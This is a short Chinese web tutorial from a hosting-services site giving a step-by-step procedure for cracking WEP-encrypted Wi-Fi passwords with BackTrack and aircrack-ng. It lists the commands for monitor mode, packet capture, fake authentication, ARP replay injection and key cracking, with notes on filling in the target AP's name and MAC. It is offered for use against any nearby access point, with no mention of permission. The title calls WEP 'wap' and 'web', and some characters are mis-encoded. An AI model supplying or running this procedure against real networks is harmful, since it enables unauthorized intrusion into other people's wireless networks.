用backtrack破解wap密碼3分鐘教程
更新時間：2011-11-30 | 發(fā)布人：本站 | 點擊率：628 次
用backtrack破解web密碼3分鐘教程
需要的全部指令:
(紅色字體的需要替換自身參數(shù))
1) ifconfig -a
(可以查看到自己機子無線網卡的MAC地址和無線網卡的設備名稱<通常為usb0或者wlan0>), 保留這個窗口方便下幾步查看需要的信息, 打開新命令窗口進入一步)
2) airmon-ng start wlan0 2
(wlan0為無線網卡, 2為需要監(jiān)聽的頻道, 根據自己情況輸入, 此步驟為打開無線網卡的監(jiān)聽模式)
3) airodump-ng –ivs -w name -c 2 wlan0
(獲取頻道2的所有無線AP的信息, wlan0是無線網卡, 2為頻道, 這一步的頻道需要跟上一步的一致, 命令輸入后會顯示周圍所有頻道為*的無線AP,
顯示的列表:
BSSID : 無線AP的Mac 地址
PWR： AP信號的大小
RXQ： 干擾值
Beacons：發(fā)送和接受的數(shù)據包, 有數(shù)據傳輸?shù)臅r候就會跳動
#Data： 數(shù)據, 破解需要的最關鍵的就是這個
CH：頻道
MB：網絡連接速度
ESSID： AP的名稱
保留這一窗口, 打開新的命令窗口進入下一步)
4) aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX wlan0 -1 is -one
(發(fā)送欺騙, ap_essid為AP的名稱, 例如Linksys或者TP-Link, ap_mac為AP的MAC地址, 第三步的BSSID就是AP的MAC地址, XXXXXXXXX為自己無線網卡的MAC地址, 第一步可以看到. 這一步成功后會顯示Successful, 如不成功需要在信號強的地方重試, 成功后才可以進入下一步)
5) aireplay-ng -3 -b ap_mac -h XXXXXXXXXX -x 1024 wlan0
(ap_mac為無線AP的mac地址, 具體看步驟3, XXXXXXXX為無線網卡的mac地址, wlan0為網卡, 這一步執(zhí)行以后, 開始正確的收發(fā)數(shù)據包, #Data開始上漲)
6) aircrack-ng -n 64 -b ap_mac name-01.ivs
(開始破解, ap_mac為ap的mac地址, 64指的是使用了64位加密, 多次破解失敗的話可以試128)
多數(shù)情況下當#data開始迅速跳動的時候就可以開始破解了, 不需要等到多少包, 如果#data這個數(shù)據增長緩慢的話, 換個位置到無線信號強的地方再試, 命令輸入正確的話最快3分鐘搞定一個64位加密的web AP是沒問題的!
渝公網安備 50024202000196號
域名注冊知識
虛擬主機知識
網站建設知識
網絡推廣知識
網絡營銷知識
常見技術問題
QQ空間
新浪微博
開心網
人人網